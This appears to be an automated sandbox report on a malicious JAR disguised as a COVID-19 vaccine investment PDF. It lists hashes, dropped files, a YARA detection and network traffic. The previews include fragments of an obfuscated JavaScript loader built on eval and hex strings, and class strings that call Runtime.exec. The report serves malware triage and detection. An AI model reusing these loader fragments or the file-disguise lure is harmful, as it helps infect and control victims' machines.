Size (bytes):	4322173
Entropy (8bit):	7.994785882289737
Encrypted:	true
SSDEEP:	98304:czJoX0izQbrabWo2MxgErRYxFOY8IsFWyTIiTIzMpca:cJoXHQKW9MxRr8wZZsikzMaa
MD5:	B33387E15AB150A7BF560ABDC73C3BEC
SHA1:	66B8075784131F578EF893FD7674273F709B9A4C
SHA-256:	2EAE3DEA1C3DDE6104C49F9601074B6038FF6ABCF3BE23F4B56F6720A4F6A491
SHA-512:	25CFB0D6CE35D0BCB18527D3AA12C63ECB2D9C1B8B78805D1306E516C13480B79BB0D74730AA93BD1752F9AC2DA9FDD51781C48844CEA2FD52A06C62852C8279
Malicious:	false
Preview:	PK........8f>I................META-INF/PK........7f>IzVC.....s.......META-INF/MANIFEST.MF..Oo.0.....,.k..-%..P.m..U...L2..&fm....@ .E.=o~o........7H.D.".8.5..mA.....L.c..F......!.lh..4.[H.0K...![.....Tq..1...G..@.?..\...P.."ao..S.:w.}.}.t.EW...b.6..(.5a....p.8[H*..p.bH..h..&l.w....D.e.We.<..h.=.....zx.:.W.ft.......a.....$......{..{..K..0.ZfP7.N>q......FH..4.....B.....:.q4.../..^f....;....m....V.....b..u..v0.k.S.9 .....<G...@..Bl87s.....p.K.;..5.x1.i]...:.l8_./.~.-.7....g[O...U;.$(..r..../.m.E2...=....CT..6K.9....=v=.s}..OPK........We>I................META-INF/maven/PK........We>I................META-INF/maven/org.xerial/PK........We>I............&...META-INF/maven/org.xerial/sqlite-jdbc/PK........We>I................META-INF/services/PK........QT>I................org/PK........8f>I................org/sqlite/PK........8f>I................org/sqlite/core/PK........8f>I................org/sqlite/date/PK........8f>I................org/sqlite/javax/PK........8f>I..

C:\Users\user\lib\system-hook-3.5.jard Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	Zip archive data, at least v1.0 to extract
Category:	dropped
Size (bytes):	791222
Entropy (8bit):	7.998588520286719
Encrypted:	true
SSDEEP:	24576:IhCFW8WXvOsWW9XGmvcVfkfTnzrLvadKPpv:IhCYWstW202t
MD5:	E1AA38A1E78A76A6DE73EFAE136CDB3A
SHA1:	C463DA71871F780B2E2E5DBA115D43953B537DAF
SHA-256:	2DDDA8AF6FAEF8BDE46ACF43EC546603180BCF8DCB2E5591FFF8AC9CD30B5609
SHA-512:	FEE16FE9364926EC337E52F551FD62ED81984808A847DE2FD68FF29B6C5DA0DCC04EF6D8977F0FE675662A7D2EA1065CDCDD2A5259446226A7C7C5516BD7D60D
Malicious:	false
Preview:	PK.........x.N................META-INF/PK.........x.N................META-INF/MANIFEST.MF.M..LK-...K-...R0.3..r,J..,K-B...V..+.$x...R.KRSt.......3R.\|..R....L..y..J3sJ....&.f.f...]..l.-.z.zF.\.\.PK..PSF.m.......PK........lx.N................lc/PK........lx.N................lc/kra/PK........mx.N................lc/kra/system/PK........mx.N................lc/kra/system/keyboard/PK........mx.N................lc/kra/system/keyboard/event/PK.........x.N................lc/kra/system/lib/PK........mx.N................lc/kra/system/mouse/PK........mx.N................lc/kra/system/mouse/event/PK........mx.N............"...lc/kra/system/GlobalHookMode.class.R]o.A.=...,_[.R...Z....O....6Y..m1..W.v.M.h.4.F..?.xg%.b..pO..s.;3.~......0Dl(."'!%!. .M..d..nq.S.I..24...;..Z.z..0,.N.p.3..O...-.t.......{......Uu..M.-5.7..i.`Xy7.3ta:C.....%....q.v..a.e.N.C;..r...........n.`.z..)...j..6.....XSt..k.....=..[.;.5.{.....q...GJB...J..7.L...a.2.........6w.0M..j..C.T.Qb..RT..3..XQ.GBE.....

C:\Users\user\vmlpusjwhz.txt Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	93302
Entropy (8bit):	7.907636664666169
Encrypted:	false
SSDEEP:	1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA
MD5:	6A1EFB0C410A7790DBC75FD29ADC48D6
SHA1:	5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF
SHA-256:	DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B
SHA-512:	7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F
Malicious:	false
Preview:	PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5\|.Y.~.m..5XL.8.(WXkV.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.\|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLambo/sbsgssdfg.class.Xy\|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I...GE\|I..D<&.."~(.G"~,.'"~.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0\|..b.o.CN<.O..I

C:\jar\META-INF\MANIFEST.MF Download File
Process:	C:\Windows\System32\7za.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.7373932798666365
Encrypted:	false
SSDEEP:	3:ZLCAWIzBEb2bIIT/fbhn:1KItG2bIif9
MD5:	1EE8E1A0462F25F07B4DBF06F695AB24
SHA1:	77384293E385C5E84D31957A55D54EECB7987780
SHA-256:	50B85BA7210C8BFE4B43E3F0BC2C2ADAF553A81EBF6F1760605BC974DA4FFF2A
SHA-512:	7A51A0C14DE218A46FF088CB07B917ECAEE04B07C14D9F0F96EB9189517E16093DE962E9C3525A1BEAA7A034DCAB763C9C7105C819F9A870412872E7A20A7C9C
Malicious:	false
Preview:	Manifest-Version: 1.0..Main-Class: keuqzwqbvn.Mmwwrnygnfl....

C:\jar\keuqzwqbvn\Mlncjyhbeex.class Download File
Process:	C:\Windows\System32\7za.exe
File Type:	compiled Java class data, version 50.0 (Java 1.6)
Category:	dropped
Size (bytes):	830
Entropy (8bit):	5.404149665200583
Encrypted:	false
SSDEEP:	24:5uWyQulrLOIGHBkjW1Pe4g591b/6G69JU:5uWyFlri7HBKWbg59UG
MD5:	ECC9EEE8A05B0512B8D0A5BCAD7F226A
SHA1:	B5E86BD53AC08A7CDE0415C2358DF39C2F2D6988
SHA-256:	C70E1B34DDE5968C6DE14F23F3AF4042D46D30336534C70A0ACB54BD07824EF9
SHA-512:	76D555A6BECA72FE46778492D0E728E1E08B2A6BF70D002B39EF2BEA153D92415C1ABD8C1CD296C0536109DCA9EA068620DA7E43C6B91947CD36A9FD9E104AE2
Malicious:	false
Preview:	.......2.1................... .... ..!..".#..$..%...<init>...()V...Code...LineNumberTable...t1nUbU..2(Ljava/io/InputStream;Ljava/io/FileOutputStream;)V...StackMapTable..&..$..'..(..!...b1g4Nth..)(Ljava/lang/Runtime;[Ljava/lang/String;)V...Exceptions...SourceFile...Mmwwrnygnfl.java.......'..)...(..+.,..-.....java/lang/Exception...../.0...keuqzwqbvn/Mlncjyhbeex...java/lang/Object...[B...java/io/InputStream...java/io/FileOutputStream...read...([BII)I...write...([BII)V...close...java/lang/Runtime...exec..(([Ljava/lang/String;)Ljava/lang/Process;. .........................................................................0.>.....:.+.........Y>...,..........+...,......N......+..........."...............#...'...+......./. .................................................#........+,...W................"...#....................

C:\jar\keuqzwqbvn\Mmwwrnygnfl.class Download File
Process:	C:\Windows\System32\7za.exe
File Type:	compiled Java class data, version 50.0 (Java 1.6)
Category:	dropped
Size (bytes):	1582
Entropy (8bit):	5.578097902648525
Encrypted:	false
SSDEEP:	24:iADsrmDul0zOQbpi55UDV++vLRDCNQzw/WXurvNwHhWwSc+:JsrmKlJcpU5UDgQ+SztgvshWwh+
MD5:	9452592892A800D155BC45667FA3BB75
SHA1:	8245B9ECBD34DBEA7DF48EEC85AD1A1CB18C6D27
SHA-256:	F0283C3945E263B9DE97C6A1FC1CF42DD1D8F9DD8DD8CDD44D8550E86DBB8A8F
SHA-512:	BD99C29EDCCDAB2129413D0D555D0ABB117FEFFC64BD4C69ED0EF3923444FA036B88BE782B1057E87D038B41E7C3338A330F634FB8A51CDEEA2B95721ED56F38
Malicious:	false
Preview:	.......2.Y......+....,..-...../.0..1....2....3..4.5....6..7..8......9..:.;....<..=.>..?....@..A....B....C....6....3..D...<init>...([Ljava/lang/Object;)V...Code...LineNumberTable...Exceptions..E...q22RDt...main...([Ljava/lang/String;)V...b1g4Nth..)(Ljava/lang/Runtime;[Ljava/lang/String;)V...t1nUbU..2(Ljava/io/InputStream;Ljava/io/FileOutputStream;)V...SourceFile...Mmwwrnygnfl.java....F...java/lang/Object..!.....keuqzwqbvn/Mmwwrnygnfl...[Ljava/lang/String;..G..H.I...java/io/FileOutputStream....J..&.'..K..L.M..$.%...java/lang/String...java/lang/StringBuilder...user.home..N..O.P..Q.R..S..T.U...fukvowbkrs.js..V.W...resources/umxybpjabc....X........keuqzwqbvn/Mlncjyhbeex...java/lang/Exception...()V...java/lang/Class...getResourceAsStream..)(Ljava/lang/String;)Ljava/io/InputStream;...(Ljava/lang/String;)V...java/lang/Runtime...getRuntime...()Ljava/lang/Runtime;...java/lang/System...getProperty..&(Ljava/lang/String;)Ljava/lang/String;...append..-(Ljava/lang/String;)Ljava/lang/StringBuilder;.

C:\jar\keuqzwqbvn\resources\umxybpjabc Download File
Process:	C:\Windows\System32\7za.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	737167
Entropy (8bit):	4.705946433849389
Encrypted:	false
SSDEEP:	6144:egg4cP9SSJTS7PEwU5tTBWoZEIZCSfq7mjJMF4taWAo/YABu1kL3QNQoxvHp6GVE:M
MD5:	EE526513580FDCE38FBD47E380081DA0
SHA1:	05A7DBB90B51A6BF6EEF394DC565A22242A4E0DD
SHA-256:	EDF1D7DFB797D66CEACE6695998240EDF67C5F08D06767A66ABC1C66830527F4
SHA-512:	C14E5381A3C569918957FC0A35B0970786B2E128709E8A26419AE96972BC8B507DD44DA51E60871AB85313C63D4045035E4A48EEE15BA2DF731A7328FCD8618F
Malicious:	false
Yara Hits:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: C:\jar\keuqzwqbvn\resources\umxybpjabc, Author: Florian Roth
Preview:	var efr3b0h = [.function(zen1thB){..var mkk_pl4z4 = Array(zen1thB[0],......."\x6D\x6B\x6B\x5F\x70\x6C\x34\x7A\x34\x5B\x30\x5D\x20\x3D\x20\x6D\x6B\x6B\x5F\x70\x6C\x34\x7A\x34\x5B\x30\x5D\x2E");..mkk_pl4z4[0] = mkk_pl4z4[0].replace(new RegExp(">%@", "g"), "A");..var f_truth = [......."\x6D\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x64\x22\x29\x3B",......."\x21\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x6D\x22\x29\x3B".......];..zen1thB[1][r0bl3NP(10,9)].f_truth = f_truth;..zen1thB[1][r0bl3NP(10,9)].mkk_pl4z4 = mkk_pl4z4;..new zen1thB[1]([eval]);..return Array(function(vmk){return [mkk_pl4z4][vmk];})[0](0);.},.Array("CreateObject","Rea", "undefined","\x61\x64\x6F\x64\x62\x2E","\x43\x68\x61\x72\x53\x65\x74","Position","\x54\x79\x70\x65","Open","Write","node")..];.eval("String[\"prototype\"].l00p6x = function(){return \"m!FyIFZMJExPJEUgPSBbIlx4NTVceDQ1XHg3M1x4NDRceDQyXHg0Mlx4NTFceDNFXHgyNVx4NDBceDQzXHgzRVx4MjVceDQwXHg2N1x4NDlceDNFXHgyNVx4NDBceDRBXHg2Rlx4NTmceDU2XHgzMVx4NDlceDNFXHgyNVx4NDBceDNFX

Static File Info

General
File type:	Zip archive data, at least v2.0 to extract
Entropy (8bit):	7.699961628296007
TrID:	Java Archive (13504/1) 62.80% ZIP compressed archive (8000/1) 37.20%
File name:	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar
File size:	178235
MD5:	5435ec679cdd07fe6f4fc6f49a117ea8
SHA1:	eab4494e7db4bcbebf9dc5c0197ce0081a6dda6e
SHA256:	5a962977909fafba0a1c202306068bd5f8297335b16989a07c1f119302155c84
SHA512:	b4b1a09413019c70867cfb2ddfb95ea21c86775991c1f8008e72af045abf9bcb436bdcc20affda4275fbc8216c4649f3b667ff0846215c38c5af026301b88380
SSDEEP:	3072:EIeObnK0Jmn6IhnudnEozlLaEd9J1vqmGzp5rlHh3tn/9Yj4Yw54bfTRykQRYb:EI3bKrn6MuVE8lD9LSmGrrv38sYw5s7X
File Content Preview:	PK.........aWR.V..U....?....$.keuqzwqbvn/resources/umxybpjabc.. ..........{)......-)......-).......}.#.u...>.w..$.0.e.Y#..f.lm.(..a.......=&.eaV..+.w..so..a5.Y.bw....(........{............7......\|..o..............o.....>..?=}..t..o._N/.>...>..q....W?../..

File Icon


Icon Hash:	d28c8e8ea2868ad6

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 21:04:22.712953091 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.713040113 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.713053942 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.714381933 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:22.755150080 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:22.755253077 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:22.756622076 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.756649971 CET	443	49719	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.756688118 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.756747961 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.756810904 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.756815910 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.823820114 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:22.823934078 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.824155092 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.824196100 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.865644932 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:22.865699053 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:22.865737915 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:22.865792990 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:22.867369890 CET	443	49719	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.867424011 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.867521048 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868551970 CET	443	49719	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868596077 CET	443	49719	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868626118 CET	443	49719	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868664026 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868701935 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868707895 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.868731022 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868769884 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868802071 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.868817091 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868848085 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:22.868905067 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.945523977 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.969150066 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:22.969197989 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.969592094 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.991509914 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.991631031 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.991683006 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.991844893 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:22.995605946 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.995722055 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.995753050 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:22.995789051 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:23.032128096 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.032454014 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:23.034961939 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.034984112 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.036494017 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:23.036879063 CET	443	49719	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.039002895 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.039037943 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.039216042 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.040357113 CET	443	49719	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.045011997 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:23.045314074 CET	49719	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.045366049 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.045392990 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.091630936 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:23.091659069 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:23.091677904 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:23.091695070 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:23.091715097 CET	443	49721	140.82.121.3	192.168.2.3
Feb 23, 2021 21:04:23.091743946 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091758966 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:23.091768026 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091792107 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091794968 CET	49721	443	192.168.2.3	140.82.121.3
Feb 23, 2021 21:04:23.091814995 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091825962 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.091839075 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091862917 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091873884 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.091886044 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091907978 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091933966 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.091933966 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.091953039 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.091962099 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.092044115 CET	49718	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.094165087 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094196081 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094218969 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094244957 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094269037 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094290018 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094311953 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094312906 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.094336033 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094346046 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.094352007 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.094360113 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094382048 CET	443	49720	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.094398022 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.094443083 CET	49720	443	192.168.2.3	199.232.192.209
Feb 23, 2021 21:04:23.095511913 CET	443	49718	199.232.192.209	192.168.2.3
Feb 23, 2021 21:04:23.095537901 CET	443	49718	199.232.192.209	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 21:04:04.787981987 CET	51281	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:04.839752913 CET	53	51281	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:05.738883972 CET	49199	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:05.792526960 CET	53	49199	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:06.778394938 CET	50620	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:06.836930990 CET	53	50620	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:06.930882931 CET	64938	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:06.990648985 CET	53	64938	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:07.752113104 CET	60152	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:07.803603888 CET	53	60152	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:08.780697107 CET	57544	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:08.829201937 CET	53	57544	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:10.061552048 CET	55984	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:10.124532938 CET	53	55984	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:11.242398977 CET	64185	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:11.291132927 CET	53	64185	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:12.172589064 CET	65110	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:12.224208117 CET	53	65110	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:13.587836981 CET	58361	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:13.636614084 CET	53	58361	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:14.620203972 CET	63492	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:14.670813084 CET	53	63492	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:15.954237938 CET	60831	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:16.005600929 CET	53	60831	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:16.926575899 CET	60100	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:16.978249073 CET	53	60100	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:18.195648909 CET	53195	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:18.244349957 CET	53	53195	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:18.986308098 CET	50141	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:19.036731958 CET	53	50141	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:21.187669992 CET	53023	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:21.237144947 CET	53	53023	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:22.259543896 CET	49563	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:22.312324047 CET	53	49563	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:22.646025896 CET	51352	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:22.646184921 CET	59349	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:22.706168890 CET	53	51352	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:22.710860014 CET	53	59349	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:23.130125046 CET	57084	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:23.188406944 CET	53	57084	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:23.439188957 CET	58823	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:23.488096952 CET	53	58823	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:24.999437094 CET	57568	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:25.079427004 CET	53	57568	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:42.766957998 CET	50540	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:42.782876015 CET	54366	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:42.832326889 CET	53	50540	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:42.840290070 CET	53	54366	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:50.739006996 CET	53034	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:50.826561928 CET	53	53034	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:50.993541956 CET	57762	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:51.047672987 CET	53	57762	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:51.840692043 CET	55435	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:51.897739887 CET	53	55435	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:52.119888067 CET	50713	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:52.171313047 CET	53	50713	8.8.8.8	192.168.2.3
Feb 23, 2021 21:04:52.228467941 CET	56132	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:04:52.462094069 CET	53	56132	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:00.102988005 CET	58987	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:00.154455900 CET	53	58987	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:04.293481112 CET	56579	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:04.521935940 CET	53	56579	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:18.343533993 CET	60633	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:18.413583994 CET	53	60633	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:27.343029976 CET	61292	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:27.391772985 CET	53	61292	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:28.235084057 CET	63619	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:28.284691095 CET	53	63619	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:30.140880108 CET	64938	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:30.203813076 CET	53	64938	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:59.069261074 CET	61946	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:59.302706003 CET	53	61946	8.8.8.8	192.168.2.3
Feb 23, 2021 21:05:59.311817884 CET	64910	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:05:59.535707951 CET	53	64910	8.8.8.8	192.168.2.3
Feb 23, 2021 21:06:01.412451982 CET	52123	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:06:01.461036921 CET	53	52123	8.8.8.8	192.168.2.3
Feb 23, 2021 21:06:02.047835112 CET	56130	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:06:02.125761986 CET	53	56130	8.8.8.8	192.168.2.3
Feb 23, 2021 21:06:35.015863895 CET	56338	53	192.168.2.3	8.8.8.8
Feb 23, 2021 21:06:35.237154007 CET	53	56338	8.8.8.8	192.168.2.3
Feb 23, 2021 21:06:51.716965914 CET	59420	53	192.168.2.3	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
